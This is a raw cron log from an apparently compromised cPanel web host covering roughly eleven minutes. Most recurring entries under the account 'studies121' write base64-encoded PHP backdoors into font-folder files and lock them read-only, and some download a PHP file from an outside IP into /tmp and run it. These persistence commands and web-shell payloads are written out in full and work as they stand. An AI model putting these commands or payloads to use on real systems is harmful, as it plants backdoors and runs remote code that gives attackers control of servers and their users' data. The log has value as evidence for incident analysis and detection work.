Feb 23 00:59:01 ip-184-168-122-23 CROND[10440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:00:01 ip-184-168-122-23 CROND[10840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:00:01 ip-184-168-122-23 CROND[10842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:01:01 ip-184-168-122-23 CROND[11177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:01:01 ip-184-168-122-23 CROND[11176]: (root) CMD (run-parts /etc/cron.hourly)
Feb 23 01:01:01 ip-184-168-122-23 CROND[11179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:01:01 ip-184-168-122-23 CROND[11180]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 01:01:01 ip-184-168-122-23 CROND[11181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:01:01 ip-184-168-122-23 CROND[11186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11176]: starting 0anacron
Feb 23 01:01:01 ip-184-168-122-23 anacron[11197]: Anacron started on 2026-02-23
Feb 23 01:01:01 ip-184-168-122-23 anacron[11197]: Normal exit (0 jobs run)
Feb 23 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11199]: finished 0anacron
Feb 23 01:02:01 ip-184-168-122-23 CROND[11517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:02:01 ip-184-168-122-23 CROND[11519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:02:01 ip-184-168-122-23 CROND[11520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:02:01 ip-184-168-122-23 CROND[11521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:02:01 ip-184-168-122-23 CROND[11522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:03:01 ip-184-168-122-23 CROND[11839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:03:01 ip-184-168-122-23 CROND[11842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:03:01 ip-184-168-122-23 CROND[11841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:03:01 ip-184-168-122-23 CROND[11840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:04:01 ip-184-168-122-23 CROND[12166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:04:01 ip-184-168-122-23 CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:04:01 ip-184-168-122-23 CROND[12170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:04:01 ip-184-168-122-23 CROND[12171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:04:01 ip-184-168-122-23 CROND[12169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:05:01 ip-184-168-122-23 CROND[12489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:05:01 ip-184-168-122-23 CROND[12492]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 01:06:01 ip-184-168-122-23 CROND[12821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:06:01 ip-184-168-122-23 CROND[12823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:06:01 ip-184-168-122-23 CROND[12824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:06:01 ip-184-168-122-23 CROND[12826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:06:01 ip-184-168-122-23 CROND[12825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:07:01 ip-184-168-122-23 CROND[13224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:07:01 ip-184-168-122-23 CROND[13226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:07:01 ip-184-168-122-23 CROND[13228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:07:01 ip-184-168-122-23 CROND[13227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:08:01 ip-184-168-122-23 CROND[13549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:08:01 ip-184-168-122-23 CROND[13547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:08:01 ip-184-168-122-23 CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:08:01 ip-184-168-122-23 CROND[13548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:08:01 ip-184-168-122-23 CROND[13551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:09:01 ip-184-168-122-23 CROND[13876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:09:01 ip-184-168-122-23 CROND[13878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:09:01 ip-184-168-122-23 CROND[13881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:09:01 ip-184-168-122-23 CROND[13880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:09:01 ip-184-168-122-23 CROND[13879]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:10:01 ip-184-168-122-23 CROND[14214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14220]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:10:01 ip-184-168-122-23 CROND[14219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:10:01 ip-184-168-122-23 CROND[14225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:11:01 ip-184-168-122-23 CROND[14553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
